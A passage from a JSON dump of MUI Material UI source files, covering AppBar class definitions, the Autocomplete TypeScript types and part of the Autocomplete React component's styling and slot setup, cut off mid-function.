`color=\"success\"`. */\n  colorSuccess: string;\n  /** Styles applied to the root element if `color=\"warning\"`. */\n  colorWarning: string;\n}\n\nexport type AppBarClassKey = keyof AppBarClasses;\n\nexport function getAppBarUtilityClass(slot: string): string {\n  return generateUtilityClass('MuiAppBar', slot);\n}\n\nconst appBarClasses: AppBarClasses = generateUtilityClasses('MuiAppBar', [\n  'root',\n  'positionFixed',\n  'positionAbsolute',\n  'positionSticky',\n  'positionStatic',\n  'positionRelative',\n  'colorDefault',\n  'colorPrimary',\n  'colorSecondary',\n  'colorInherit',\n  'colorTransparent',\n  'colorError',\n  'colorInfo',\n  'colorSuccess',\n  'colorWarning',\n]);\n\nexport default appBarClasses;\n"
  },
  {
    "path": "packages/mui-material/src/AppBar/index.d.ts",
    "content": "export { default } from './AppBar';\nexport * from './AppBar';\n\nexport { default as appBarClasses } from './appBarClasses';\nexport * from './appBarClasses';\n"
  },
  {
    "path": "packages/mui-material/src/AppBar/index.js",
    "content": "export { default } from './AppBar';\n\nexport { default as appBarClasses } from './appBarClasses';\nexport * from './appBarClasses';\n"
  },
  {
    "path": "packages/mui-material/src/Autocomplete/Autocomplete.d.ts",
    "content": "import * as React from 'react';\nimport { SxProps } from '@mui/system';\nimport { OverridableStringUnion } from '@mui/types';\nimport { Theme } from '../styles';\nimport { InternalStandardProps as StandardProps } from '../internal';\nimport { IconButtonProps } from '../IconButton';\nimport { ChipProps, ChipTypeMap } from '../Chip';\nimport { PaperProps } from '../Paper';\nimport { PopperProps } from '../Popper';\nimport useAutocomplete, {\n  AutocompleteChangeDetails,\n  AutocompleteChangeReason,\n  AutocompleteCloseReason,\n  AutocompleteInputChangeReason,\n  AutocompleteValue,\n  createFilterOptions,\n  UseAutocompleteProps,\n  AutocompleteFreeSoloValueMapping,\n  AutocompleteValueOrFreeSoloValueMapping,\n} from '../useAutocomplete';\nimport { AutocompleteClasses } from './autocompleteClasses';\nimport { CreateSlotsAndSlotProps, SlotProps } from '../utils/types';\n\nexport interface AutocompletePaperSlotPropsOverrides {}\nexport interface AutocompletePopperSlotPropsOverrides {}\n\nexport {\n  AutocompleteChangeDetails,\n  AutocompleteChangeReason,\n  AutocompleteCloseReason,\n  AutocompleteInputChangeReason,\n  AutocompleteValue,\n  createFilterOptions,\n};\n\nexport type AutocompleteOwnerState<\n  Value,\n  Multiple extends boolean | undefined,\n  DisableClearable extends boolean | undefined,\n  FreeSolo extends boolean | undefined,\n  ChipComponent extends React.ElementType = ChipTypeMap['defaultComponent'],\n> = AutocompleteProps<Value, Multiple, DisableClearable, FreeSolo, ChipComponent> & {\n  disablePortal: boolean;\n  expanded: boolean;\n  focused: boolean;\n  fullWidth: boolean;\n  getOptionLabel: (option: AutocompleteValueOrFreeSoloValueMapping<Value, FreeSolo>) => string;\n  hasClearIcon: boolean;\n  hasPopupIcon: boolean;\n  inputFocused: boolean;\n  popupOpen: boolean;\n  size: OverridableStringUnion<'small' | 'medium', AutocompletePropsSizeOverrides>;\n};\n\nexport type AutocompleteRenderGetTagProps = ({ index }: { index: number }) => {\n  key: number;\n  className: string;\n  disabled: boolean;\n  'data-tag-index': number;\n  tabIndex: -1;\n  onDelete: (event: any) => void;\n};\n\nexport type AutocompleteRenderValueGetItemProps<Multiple extends boolean | undefined> =\n  Multiple extends true\n    ? (args: { index: number }) => {\n        key: number;\n        className: string;\n        disabled: boolean;\n        'data-item-index': number;\n        tabIndex: -1;\n        onDelete: (event: any) => void;\n      }\n    : (args?: { index?: number | undefined }) => {\n        className: string;\n        disabled: boolean;\n        'data-item-index': number;\n        tabIndex: -1;\n        onDelete: (event: any) => void;\n      };\n\nexport type AutocompleteRenderValue<Value, Multiple, FreeSolo> = Multiple extends true\n  ? Array<Value | AutocompleteFreeSoloValueMapping<FreeSolo>>\n  : NonNullable<Value | AutocompleteFreeSoloValueMapping<FreeSolo>>;\n\nexport interface AutocompleteRenderOptionState {\n  inputValue: string;\n  index: number;\n  selected: boolean;\n}\n\nexport interface AutocompleteRenderGroupParams {\n  key: number;\n  group: string;\n  children?: React.ReactNode;\n}\n\nexport interface AutocompleteRenderInputParams {\n  id: string;\n  disabled: boolean;\n  fullWidth: boolean;\n  size: 'small' | undefined;\n  slotProps: {\n    inputLabel: ReturnType<ReturnType<typeof useAutocomplete>['getInputLabelProps']>;\n    input: {\n      ref: React.Ref<any>;\n      className: string;\n      startAdornment: React.ReactNode;\n      endAdornment: React.ReactNode;\n      onMouseDown: React.MouseEventHandler;\n    };\n    htmlInput: ReturnType<ReturnType<typeof useAutocomplete>['getInputProps']>;\n  };\n}\n\nexport interface AutocompletePropsSizeOverrides {}\n\nexport interface AutocompleteSlots {\n  /**\n   * The component that renders the root.\n   * @default 'div'\n   */\n  root: React.ElementType;\n  /**\n   * The component used to render the clear indicator element.\n   * @default IconButton\n   */\n  clearIndicator: React.JSXElementConstructor<IconButtonProps>;\n  /**\n   * The component used to render the popup indicator element.\n   * @default IconButton\n   */\n  popupIndicator: React.JSXElementConstructor<IconButtonProps>;\n  /**\n   * The component used to render the listbox.\n   * @default 'ul'\n   */\n  listbox: React.JSXElementConstructor<React.HTMLAttributes<HTMLElement>>;\n  /**\n   * The component used to render the body of the popup.\n   * @default Paper\n   */\n  paper: React.JSXElementConstructor<PaperProps & AutocompletePaperSlotPropsOverrides>;\n  /**\n   * The component used to position the popup.\n   * @default Popper\n   */\n  popper: React.JSXElementConstructor<PopperProps & AutocompletePopperSlotPropsOverrides>;\n}\n\nexport type AutocompleteSlotsAndSlotProps<\n  Value,\n  Multiple extends boolean | undefined,\n  DisableClearable extends boolean | undefined,\n  FreeSolo extends boolean | undefined,\n  ChipComponent extends React.ElementType = ChipTypeMap['defaultComponent'],\n> = CreateSlotsAndSlotProps<\n  AutocompleteSlots,\n  {\n    root: SlotProps<\n      'div',\n      {},\n      AutocompleteOwnerState<Value, Multiple, DisableClearable, FreeSolo, ChipComponent>\n    >;\n    chip: SlotProps<\n      React.ElementType<Partial<ChipProps<ChipComponent>>>,\n      {},\n      AutocompleteOwnerState<Value, Multiple, DisableClearable, FreeSolo, ChipComponent>\n    >;\n    clearIndicator: SlotProps<\n      React.ElementType<Partial<IconButtonProps>>,\n      {},\n      AutocompleteOwnerState<Value, Multiple, DisableClearable, FreeSolo, ChipComponent>\n    >;\n    /**\n     * Props applied to the Listbox element.\n     */\n    listbox: SlotProps<\n      React.ElementType<\n        ReturnType<ReturnType<typeof useAutocomplete>['getListboxProps']> & {\n          sx?: SxProps<Theme> | undefined;\n          ref?: React.Ref<Element> | undefined;\n        }\n      >,\n      {},\n      AutocompleteOwnerState<Value, Multiple, DisableClearable, FreeSolo, ChipComponent>\n    >;\n    paper: SlotProps<\n      React.ElementType<Partial<PaperProps>>,\n      AutocompletePaperSlotPropsOverrides,\n      AutocompleteOwnerState<Value, Multiple, DisableClearable, FreeSolo, ChipComponent>\n    >;\n    popper: SlotProps<\n      React.ElementType<Partial<PopperProps>>,\n      AutocompletePopperSlotPropsOverrides,\n      AutocompleteOwnerState<Value, Multiple, DisableClearable, FreeSolo, ChipComponent>\n    >;\n    popupIndicator: SlotProps<\n      React.ElementType<Partial<IconButtonProps>>,\n      {},\n      AutocompleteOwnerState<Value, Multiple, DisableClearable, FreeSolo, ChipComponent>\n    >;\n  }\n>;\n\nexport interface AutocompleteProps<\n  Value,\n  Multiple extends boolean | undefined,\n  DisableClearable extends boolean | undefined,\n  FreeSolo extends boolean | undefined,\n  ChipComponent extends React.ElementType = ChipTypeMap['defaultComponent'],\n>\n  extends\n    UseAutocompleteProps<Value, Multiple, DisableClearable, FreeSolo>,\n    StandardProps<React.HTMLAttributes<HTMLDivElement>, 'defaultValue' | 'onChange' | 'children'>,\n    AutocompleteSlotsAndSlotProps<Value, Multiple, DisableClearable, FreeSolo, ChipComponent> {\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes?: Partial<AutocompleteClasses> | undefined;\n  /**\n   * The icon to display in place of the default clear icon.\n   * @default <ClearIcon fontSize=\"small\" />\n   */\n  clearIcon?: React.ReactNode;\n  /**\n   * Override the default text for the *clear* icon button.\n   *\n   * For localization purposes, you can use the provided [translations](https://mui.com/material-ui/guides/localization/).\n   * @default 'Clear'\n   */\n  clearText?: string | undefined;\n  /**\n   * Override the default text for the *close popup* icon button.\n   *\n   * For localization purposes, you can use the provided [translations](https://mui.com/material-ui/guides/localization/).\n   * @default 'Close'\n   */\n  closeText?: string | undefined;\n  /**\n   * If `true`, the component is disabled.\n   * @default false\n   */\n  disabled?: boolean | undefined;\n  /**\n   * If `true`, the `Popper` content will be under the DOM hierarchy of the parent component.\n   * @default false\n   */\n  disablePortal?: boolean | undefined;\n  /**\n   * Force the visibility display of the popup icon.\n   * @default 'auto'\n   */\n  forcePopupIcon?: true | false | 'auto' | undefined;\n  /**\n   * If `true`, the input will take up the full width of its container.\n   * @default false\n   */\n  fullWidth?: boolean | undefined;\n  /**\n   * The label to display when the tags are truncated (`limitTags`).\n   *\n   * @param {number} more The number of truncated tags.\n   * @returns {ReactNode}\n   * @default (more) => `+${more}`\n   */\n  getLimitTagsText?: ((more: number) => React.ReactNode) | undefined;\n  /**\n   * If `true`, the component is in a loading state.\n   * This shows the `loadingText` in place of suggestions (only if there are no suggestions to show, for example `options` are empty).\n   * @default false\n   */\n  loading?: boolean | undefined;\n  /**\n   * Text to display when in a loading state.\n   *\n   * For localization purposes, you can use the provided [translations](https://mui.com/material-ui/guides/localization/).\n   * @default 'Loading…'\n   */\n  loadingText?: React.ReactNode;\n  /**\n   * The maximum number of tags that will be visible when not focused.\n   * Set `-1` to disable the limit.\n   * @default -1\n   */\n  limitTags?: number | undefined;\n  /**\n   * Text to display when there are no options.\n   *\n   * For localization purposes, you can use the provided [translations](https://mui.com/material-ui/guides/localization/).\n   * @default 'No options'\n   */\n  noOptionsText?: React.ReactNode;\n  onKeyDown?:\n    | ((\n        event: React.KeyboardEvent<HTMLDivElement> & { defaultMuiPrevented?: boolean | undefined },\n      ) => void)\n    | undefined;\n  /**\n   * Override the default text for the *open popup* icon button.\n   *\n   * For localization purposes, you can use the provided [translations](https://mui.com/material-ui/guides/localization/).\n   * @default 'Open'\n   */\n  openText?: string | undefined;\n  /**\n   * The icon to display in place of the default popup icon.\n   * @default <ArrowDropDownIcon />\n   */\n  popupIcon?: React.ReactNode;\n  /**\n   * If `true`, the component becomes readonly. It is also supported for multiple tags where the tag cannot be deleted.\n   * @default false\n   */\n  readOnly?: boolean | undefined;\n  /**\n   * Render the group.\n   *\n   * @param {AutocompleteRenderGroupParams} params The group to render.\n   * @returns {ReactNode}\n   */\n  renderGroup?: ((params: AutocompleteRenderGroupParams) => React.ReactNode) | undefined;\n  /**\n   * Render the input.\n   *\n   * **Note:** The `renderInput` prop must return a `TextField` component or a compatible custom component\n   * that correctly forwards `InputProps.ref` and spreads `inputProps`. This ensures proper integration\n   * with the Autocomplete's internal logic (e.g., focus management and keyboard navigation).\n   *\n   * Avoid using components like `DatePicker` or `Select` directly, as they may not forward the required props,\n   * leading to runtime errors or unexpected behavior.\n   *\n   * @param {object} params\n   * @returns {ReactNode}\n   */\n  renderInput: (params: AutocompleteRenderInputParams) => React.ReactNode;\n  /**\n   * Render the option, use `getOptionLabel` by default.\n   *\n   * @param {object} props The props to apply on the li element.\n   * @param {Value} option The option to render.\n   * @param {object} state The state of each option.\n   * @param {object} ownerState The state of the Autocomplete component.\n   * @returns {ReactNode}\n   */\n  renderOption?:\n    | ((\n        props: React.HTMLAttributes<HTMLLIElement> & { key: React.Key },\n        option: Value,\n        state: AutocompleteRenderOptionState,\n        ownerState: AutocompleteOwnerState<\n          Value,\n          Multiple,\n          DisableClearable,\n          FreeSolo,\n          ChipComponent\n        >,\n      ) => React.ReactNode)\n    | undefined;\n  /**\n   * Renders the selected value(s) as rich content in the input for both single and multiple selections.\n   *\n   * @param {AutocompleteRenderValue<Value, Multiple, FreeSolo>} value The `value` provided to the component.\n   * @param {function} getItemProps The value item props.\n   * @param {object} ownerState The state of the Autocomplete component.\n   * @returns {ReactNode}\n   */\n  renderValue?:\n    | ((\n        value: AutocompleteRenderValue<Value, Multiple, FreeSolo>,\n        getItemProps: AutocompleteRenderValueGetItemProps<Multiple>,\n        ownerState: AutocompleteOwnerState<\n          Value,\n          Multiple,\n          DisableClearable,\n          FreeSolo,\n          ChipComponent\n        >,\n      ) => React.ReactNode)\n    | undefined;\n  /**\n   * The size of the component.\n   * @default 'medium'\n   */\n  size?: OverridableStringUnion<'small' | 'medium', AutocompletePropsSizeOverrides> | undefined;\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx?: SxProps<Theme> | undefined;\n}\n\n/**\n *\n * Demos:\n *\n * - [Autocomplete](https://next.mui.com/material-ui/react-autocomplete/)\n *\n * API:\n *\n * - [Autocomplete API](https://next.mui.com/material-ui/api/autocomplete/)\n */\nexport default function Autocomplete<\n  Value,\n  Multiple extends boolean | undefined = false,\n  DisableClearable extends boolean | undefined = false,\n  FreeSolo extends boolean | undefined = false,\n  ChipComponent extends React.ElementType = ChipTypeMap['defaultComponent'],\n>(\n  props: AutocompleteProps<Value, Multiple, DisableClearable, FreeSolo, ChipComponent>,\n): React.JSX.Element;\n"
  },
  {
    "path": "packages/mui-material/src/Autocomplete/Autocomplete.js",
    "content": "'use client';\nimport * as React from 'react';\nimport PropTypes from 'prop-types';\nimport integerPropType from '@mui/utils/integerPropType';\nimport chainPropTypes from '@mui/utils/chainPropTypes';\nimport composeClasses from '@mui/utils/composeClasses';\nimport useAutocomplete, { createFilterOptions } from '../useAutocomplete';\nimport Popper from '../Popper';\nimport ListSubheader from '../ListSubheader';\nimport Paper from '../Paper';\nimport IconButton from '../IconButton';\nimport Chip from '../Chip';\nimport inputClasses from '../Input/inputClasses';\nimport inputBaseClasses from '../InputBase/inputBaseClasses';\nimport outlinedInputClasses from '../OutlinedInput/outlinedInputClasses';\nimport filledInputClasses from '../FilledInput/filledInputClasses';\nimport ClearIcon from '../internal/svg-icons/Close';\nimport ArrowDropDownIcon from '../internal/svg-icons/ArrowDropDown';\nimport { styled } from '../zero-styled';\nimport memoTheme from '../utils/memoTheme';\nimport { useDefaultProps } from '../DefaultPropsProvider';\nimport autocompleteClasses, { getAutocompleteUtilityClass } from './autocompleteClasses';\nimport capitalize from '../utils/capitalize';\nimport useSlot from '../utils/useSlot';\n\nconst useUtilityClasses = (ownerState) => {\n  const {\n    classes,\n    disablePortal,\n    expanded,\n    focused,\n    fullWidth,\n    hasClearIcon,\n    hasPopupIcon,\n    inputFocused,\n    popupOpen,\n    size,\n  } = ownerState;\n\n  const slots = {\n    root: [\n      'root',\n      expanded && 'expanded',\n      focused && 'focused',\n      fullWidth && 'fullWidth',\n      hasClearIcon && 'hasClearIcon',\n      hasPopupIcon && 'hasPopupIcon',\n    ],\n    inputRoot: ['inputRoot'],\n    input: ['input', inputFocused && 'inputFocused'],\n    tag: ['tag', `tagSize${capitalize(size)}`],\n    endAdornment: ['endAdornment'],\n    clearIndicator: ['clearIndicator'],\n    popupIndicator: ['popupIndicator', popupOpen && 'popupIndicatorOpen'],\n    popper: ['popper', disablePortal && 'popperDisablePortal'],\n    paper: ['paper'],\n    listbox: ['listbox'],\n    loading: ['loading'],\n    noOptions: ['noOptions'],\n    option: ['option'],\n    groupLabel: ['groupLabel'],\n    groupUl: ['groupUl'],\n  };\n\n  return composeClasses(slots, getAutocompleteUtilityClass, classes);\n};\n\nconst AutocompleteRoot = styled('div', {\n  name: 'MuiAutocomplete',\n  slot: 'Root',\n  overridesResolver: (props, styles) => {\n    const { ownerState } = props;\n    const { fullWidth, hasClearIcon, hasPopupIcon, inputFocused, size } = ownerState;\n\n    return [\n      { [`& .${autocompleteClasses.tag}`]: styles.tag },\n      { [`& .${autocompleteClasses.tag}`]: styles[`tagSize${capitalize(size)}`] },\n      { [`& .${autocompleteClasses.inputRoot}`]: styles.inputRoot },\n      { [`& .${autocompleteClasses.input}`]: styles.input },\n      { [`& .${autocompleteClasses.input}`]: inputFocused && styles.inputFocused },\n      styles.root,\n      fullWidth && styles.fullWidth,\n      hasPopupIcon && styles.hasPopupIcon,\n      hasClearIcon && styles.hasClearIcon,\n    ];\n  },\n})({\n  [`&.${autocompleteClasses.focused} .${autocompleteClasses.clearIndicator}`]: {\n    visibility: 'visible',\n  },\n  /* Avoid double tap issue on iOS */\n  '@media (pointer: fine)': {\n    [`&:hover .${autocompleteClasses.clearIndicator}`]: {\n      visibility: 'visible',\n    },\n  },\n  [`& .${autocompleteClasses.tag}`]: {\n    margin: 3,\n    maxWidth: 'calc(100% - 6px)',\n  },\n  [`& .${autocompleteClasses.inputRoot}`]: {\n    [`.${autocompleteClasses.hasPopupIcon}&, .${autocompleteClasses.hasClearIcon}&`]: {\n      paddingRight: 26 + 4,\n    },\n    [`.${autocompleteClasses.hasPopupIcon}.${autocompleteClasses.hasClearIcon}&`]: {\n      paddingRight: 52 + 4,\n    },\n    [`& .${autocompleteClasses.input}`]: {\n      width: 0,\n      minWidth: 30,\n    },\n  },\n  [`& .${inputClasses.root}`]: {\n    paddingBottom: 1,\n    '& .MuiInput-input': {\n      padding: '4px 4px 4px 0px',\n    },\n  },\n  [`& .${inputClasses.root}.${inputBaseClasses.sizeSmall}`]: {\n    [`& .${inputClasses.input}`]: {\n      padding: '2px 4px 3px 0',\n    },\n  },\n  [`& .${outlinedInputClasses.root}`]: {\n    padding: 9,\n    [`.${autocompleteClasses.hasPopupIcon}&, .${autocompleteClasses.hasClearIcon}&`]: {\n      paddingRight: 26 + 4 + 9,\n    },\n    [`.${autocompleteClasses.hasPopupIcon}.${autocompleteClasses.hasClearIcon}&`]: {\n      paddingRight: 52 + 4 + 9,\n    },\n    [`& .${autocompleteClasses.input}`]: {\n      padding: '7.5px 4px 7.5px 5px',\n    },\n    [`& .${autocompleteClasses.endAdornment}`]: {\n      right: 9,\n    },\n  },\n  [`& .${outlinedInputClasses.root}.${inputBaseClasses.sizeSmall}`]: {\n    // Don't specify paddingRight, as it overrides the default value set when there is only\n    // one of the popup or clear icon as the specificity is equal so the latter one wins\n    paddingTop: 6,\n    paddingBottom: 6,\n    paddingLeft: 6,\n    [`& .${autocompleteClasses.input}`]: {\n      padding: '2.5px 4px 2.5px 8px',\n    },\n  },\n  [`& .${filledInputClasses.root}`]: {\n    paddingTop: 19,\n    paddingLeft: 8,\n    [`.${autocompleteClasses.hasPopupIcon}&, .${autocompleteClasses.hasClearIcon}&`]: {\n      paddingRight: 26 + 4 + 9,\n    },\n    [`.${autocompleteClasses.hasPopupIcon}.${autocompleteClasses.hasClearIcon}&`]: {\n      paddingRight: 52 + 4 + 9,\n    },\n    [`& .${filledInputClasses.input}`]: {\n      padding: '7px 4px',\n    },\n    [`& .${autocompleteClasses.endAdornment}`]: {\n      right: 9,\n    },\n  },\n  [`& .${filledInputClasses.root}.${inputBaseClasses.sizeSmall}`]: {\n    paddingBottom: 1,\n    [`& .${filledInputClasses.input}`]: {\n      padding: '2.5px 4px',\n    },\n  },\n  [`& .${inputBaseClasses.hiddenLabel}`]: {\n    paddingTop: 8,\n  },\n  [`& .${filledInputClasses.root}.${inputBaseClasses.hiddenLabel}`]: {\n    paddingTop: 0,\n    paddingBottom: 0,\n    [`& .${autocompleteClasses.input}`]: {\n      paddingTop: 16,\n      paddingBottom: 17,\n    },\n  },\n  [`& .${filledInputClasses.root}.${inputBaseClasses.hiddenLabel}.${inputBaseClasses.sizeSmall}`]: {\n    [`& .${autocompleteClasses.input}`]: {\n      paddingTop: 8,\n      paddingBottom: 9,\n    },\n  },\n  [`& .${autocompleteClasses.input}`]: {\n    flexGrow: 1,\n    textOverflow: 'ellipsis',\n    opacity: 0,\n  },\n  variants: [\n    {\n      props: { fullWidth: true },\n      style: { width: '100%' },\n    },\n    {\n      props: { size: 'small' },\n      style: {\n        [`& .${autocompleteClasses.tag}`]: {\n          margin: 2,\n          maxWidth: 'calc(100% - 4px)',\n        },\n      },\n    },\n    {\n      props: { inputFocused: true },\n      style: {\n        [`& .${autocompleteClasses.input}`]: {\n          opacity: 1,\n        },\n      },\n    },\n    {\n      props: { multiple: true },\n      style: {\n        [`& .${autocompleteClasses.inputRoot}`]: {\n          flexWrap: 'wrap',\n        },\n      },\n    },\n  ],\n});\n\nconst AutocompleteEndAdornment = styled('div', {\n  name: 'MuiAutocomplete',\n  slot: 'EndAdornment',\n})({\n  // We use a position absolute to support wrapping tags.\n  position: 'absolute',\n  right: 0,\n  top: '50%',\n  transform: 'translate(0, -50%)',\n});\n\nconst AutocompleteClearIndicator = styled(IconButton, {\n  name: 'MuiAutocomplete',\n  slot: 'ClearIndicator',\n})({\n  marginRight: -2,\n  padding: 4,\n  visibility: 'hidden',\n});\n\nconst AutocompletePopupIndicator = styled(IconButton, {\n  name: 'MuiAutocomplete',\n  slot: 'PopupIndicator',\n  overridesResolver: (props, styles) => {\n    const { ownerState } = props;\n\n    return [styles.popupIndicator, ownerState.popupOpen && styles.popupIndicatorOpen];\n  },\n})({\n  padding: 2,\n  marginRight: -2,\n  variants: [\n    {\n      props: { popupOpen: true },\n      style: {\n        transform: 'rotate(180deg)',\n      },\n    },\n  ],\n});\n\nconst AutocompletePopper = styled(Popper, {\n  name: 'MuiAutocomplete',\n  slot: 'Popper',\n  overridesResolver: (props, styles) => {\n    const { ownerState } = props;\n\n    return [\n      { [`& .${autocompleteClasses.option}`]: styles.option },\n      styles.popper,\n      ownerState.disablePortal && styles.popperDisablePortal,\n    ];\n  },\n})(\n  memoTheme(({ theme }) => ({\n    zIndex: (theme.vars || theme).zIndex.modal,\n    variants: [\n      {\n        props: { disablePortal: true },\n        style: {\n          position: 'absolute',\n        },\n      },\n    ],\n  })),\n);\n\nconst AutocompletePaper = styled(Paper, {\n  name: 'MuiAutocomplete',\n  slot: 'Paper',\n})(\n  memoTheme(({ theme }) => ({\n    ...theme.typography.body1,\n    overflow: 'auto',\n  })),\n);\n\nconst AutocompleteLoading = styled('div', {\n  name: 'MuiAutocomplete',\n  slot: 'Loading',\n})(\n  memoTheme(({ theme }) => ({\n    color: (theme.vars || theme).palette.text.secondary,\n    padding: '14px 16px',\n  })),\n);\n\nconst AutocompleteNoOptions = styled('div', {\n  name: 'MuiAutocomplete',\n  slot: 'NoOptions',\n})(\n  memoTheme(({ theme }) => ({\n    color: (theme.vars || theme).palette.text.secondary,\n    padding: '14px 16px',\n  })),\n);\n\nconst AutocompleteListbox = styled('ul', {\n  name: 'MuiAutocomplete',\n  slot: 'Listbox',\n})(\n  memoTheme(({ theme }) => ({\n    listStyle: 'none',\n    margin: 0,\n    padding: '8px 0',\n    maxHeight: '40vh',\n    overflow: 'auto',\n    position: 'relative',\n    [`& .${autocompleteClasses.option}`]: {\n      minHeight: 48,\n      display: 'flex',\n      overflow: 'hidden',\n      justifyContent: 'flex-start',\n      alignItems: 'center',\n      cursor: 'pointer',\n      paddingTop: 6,\n      boxSizing: 'border-box',\n      outline: '0',\n      WebkitTapHighlightColor: 'transparent',\n      paddingBottom: 6,\n      paddingLeft: 16,\n      paddingRight: 16,\n      [theme.breakpoints.up('sm')]: {\n        minHeight: 'auto',\n      },\n      [`&.${autocompleteClasses.focused}`]: {\n        backgroundColor: (theme.vars || theme).palette.action.hover,\n        // Reset on touch devices, it doesn't add specificity\n        '@media (hover: none)': {\n          backgroundColor: 'transparent',\n        },\n      },\n      '&[aria-disabled=\"true\"]': {\n        opacity: (theme.vars || theme).palette.action.disabledOpacity,\n        pointerEvents: 'none',\n      },\n      [`&.${autocompleteClasses.focusVisible}`]: {\n        backgroundColor: (theme.vars || theme).palette.action.focus,\n      },\n      '&[aria-selected=\"true\"]': {\n        backgroundColor: theme.alpha(\n          (theme.vars || theme).palette.primary.main,\n          (theme.vars || theme).palette.action.selectedOpacity,\n        ),\n        [`&.${autocompleteClasses.focused}`]: {\n          backgroundColor: theme.alpha(\n            (theme.vars || theme).palette.primary.main,\n            `${(theme.vars || theme).palette.action.selectedOpacity} + ${(theme.vars || theme).palette.action.hoverOpacity}`,\n          ),\n          // Reset on touch devices, it doesn't add specificity\n          '@media (hover: none)': {\n            backgroundColor: (theme.vars || theme).palette.action.selected,\n          },\n        },\n        [`&.${autocompleteClasses.focusVisible}`]: {\n          backgroundColor: theme.alpha(\n            (theme.vars || theme).palette.primary.main,\n            `${(theme.vars || theme).palette.action.selectedOpacity} + ${(theme.vars || theme).palette.action.focusOpacity}`,\n          ),\n        },\n      },\n    },\n  })),\n);\n\nconst AutocompleteGroupLabel = styled(ListSubheader, {\n  name: 'MuiAutocomplete',\n  slot: 'GroupLabel',\n})(\n  memoTheme(({ theme }) => ({\n    backgroundColor: (theme.vars || theme).palette.background.paper,\n    top: -8,\n  })),\n);\n\nconst AutocompleteGroupUl = styled('ul', {\n  name: 'MuiAutocomplete',\n  slot: 'GroupUl',\n})({\n  padding: 0,\n  [`& .${autocompleteClasses.option}`]: {\n    paddingLeft: 24,\n  },\n});\n\nexport { createFilterOptions };\n\nconst Autocomplete = React.forwardRef(function Autocomplete(inProps, ref) {\n  const props = useDefaultProps({ props: inProps, name: 'MuiAutocomplete' });\n\n  /* eslint-disable @typescript-eslint/no-unused-vars */\n  const {\n    autoComplete = false,\n    autoHighlight = false,\n    autoSelect = false,\n    blurOnSelect = false,\n    className,\n    clearIcon = <ClearIcon fontSize=\"small\" />,\n    clearOnBlur = !props.freeSolo,\n    clearOnEscape = false,\n    clearText = 'Clear',\n    closeText = 'Close',\n    defaultValue = props.multiple ? [] : null,\n    disableClearable = false,\n    disableCloseOnSelect = false,\n    disabled = false,\n    disabledItemsFocusable = false,\n    disableListWrap = false,\n    disablePortal = false,\n    filterOptions,\n    filterSelectedOptions = false,\n    forcePopupIcon = 'auto',\n    freeSolo = false,\n    fullWidth = false,\n    getLimitTagsText = (more) => `+${more}`,\n    getOptionDisabled,\n    getOptionKey,\n    getOptionLabel: getOptionLabelProp,\n    isOptionEqualToValue,\n    groupBy,\n    handleHomeEndKeys = !props.freeSolo,\n    id: idProp,\n    includeInputInList = false,\n    inputValue: inputValueProp,\n    limitTags = -1,\n    loading = false,\n    loadingText = 'Loading…',\n    multiple = false,\n    noOptionsText = 'No options',\n    onChange,\n    onClose,\n    onHighlightChange,\n    onInputChange,\n    onOpen,\n    open,\n    openOnFocus = false,\n    openText = 'Open',\n    options,\n    popupIcon = <ArrowDropDownIcon />,\n    readOnly = false,\n    renderGroup: renderGroupProp,\n    renderInput,\n    renderOption: renderOptionProp,\n    renderValue,\n    selectOnFocus = !props.freeSolo,\n    size = 'medium',\n    slots = {},\n    slotProps = {},\n    value: valueProp,\n    ...other\n  } = props;\n  /* eslint-enable @typescript-eslint/no-unused-vars */\n\n  const {\n    getRootProps,\n    getInputProps,\n    getInputLabelProps,\n    getPopupIndicatorProps,\n    getClearProps,\n    getItemProps,\n    getListboxProps,\n    getOptionProps,\n    value,\n    dirty,\n    expanded,\n    id,\n    popupOpen,\n    focused,\n    focusedItem,\n    anchorEl,\n    setAnchorEl,\n    inputValue,\n    groupedOptions,\n  } = useAutocomplete({ ...props, componentName: 'Autocomplete' });\n\n  const hasClearIcon = !disableClearable && !disabled && dirty && !readOnly;\n  const hasPopupIcon = (!freeSolo || forcePopupIcon === true) && forcePopupIcon !== false;\n\n  const { onMouseDown: handleInputMouseDown } = getInputProps();\n  const { ref: listboxRef, ...otherListboxProps } = getListboxProps();\n\n  const defaultGetOptionLabel = (option) => option.label ?? option;\n  const getOptionLabel = getOptionLabelProp || defaultGetOptionLabel;\n\n  // If you modify this, make sure to keep the `AutocompleteOwnerState` type in sync.\n  const ownerState = {\n    ...props,\n    disablePortal,\n    expanded,\n    focused,\n    fullWidth,\n    getOptionLabel,\n    hasClearIcon,\n    hasPopupIcon,\n    inputFocused: focusedItem === -1,\n    popupOpen,\n    size,\n  };\n\n  const classes = useUtilityClasses(ownerState);\n\n  const externalForwardedProps = {\n    slots,\n    slotProps,\n  };\n\n  const [RootSlot, rootProps] = useSlot('root', {\n    ref,\n    className: [classes.root, className],\n    elementType: AutocompleteRoot,\n    externalForwardedProps: {\n      ...externalForwardedProps,\n      ...other,\n    },\n    getSlotProps: getRootProps,\n    ownerState,\n  });\n\n  const [ListboxSlot, listboxProps] = useSlot('listbox', {\n    elementType: AutocompleteListbox,\n    externalForwardedProps,\n    ownerState,\n    className: classes.listbox,\n    additionalProps: otherListboxProps,\n    ref: listboxRef,\n  });\n\n  const [PaperSlot, paperProps] = useSlot('paper', {\n    elementType: Paper,\n    externalForwardedProps,\n    ownerState,\n    className: classes.paper,\n  });\n\n  const [PopperSlot, popperProps] = useSlot('popper', {\n    elementType: Popper,\n    externalForwardedProps,\n    ownerState,\n    className: classes.popper,\n    additionalProps: {\n      disablePortal,\n      style: { width: anchorEl ? anchorEl.clientWidth : null },\n      role: 'presentation',\n      anchorEl,\n      open: popupOpen,\n    },\n  });\n\n  const [ClearIndicatorSlot, clearIndicatorProps] = useSlot('clearIndicator', {\n    elementType: AutocompleteClearIndicator,\n    externalForwardedProps,\n    ownerState,\n    className: classes.clearIndicator,\n    shouldForwardComponentProp: true,\n    additionalProps: {\n      ...getClearProps(),\n      'aria-label': clearText,\n      title: clearText,\n    },\n  });\n\n  const [PopupIndicatorSlot, popupIndicatorProps] = useSlot('popupIndicator', {\n    elementType: AutocompletePopupIndicator,\n    externalForwardedProps,\n    ownerState,\n    className: classes.popupIndicator,\n    shouldForwardComponentProp: true,\n    additionalProps: {\n      ...getPopupIndicatorProps(),\n      disabled,\n      'aria-label': popupOpen ? closeText : openText,\n      title: popupOpen ? closeText : openText,\n    },\n  });\n\n  let startAdornment;\n\n  const getCustomizedItemProps = (params) => 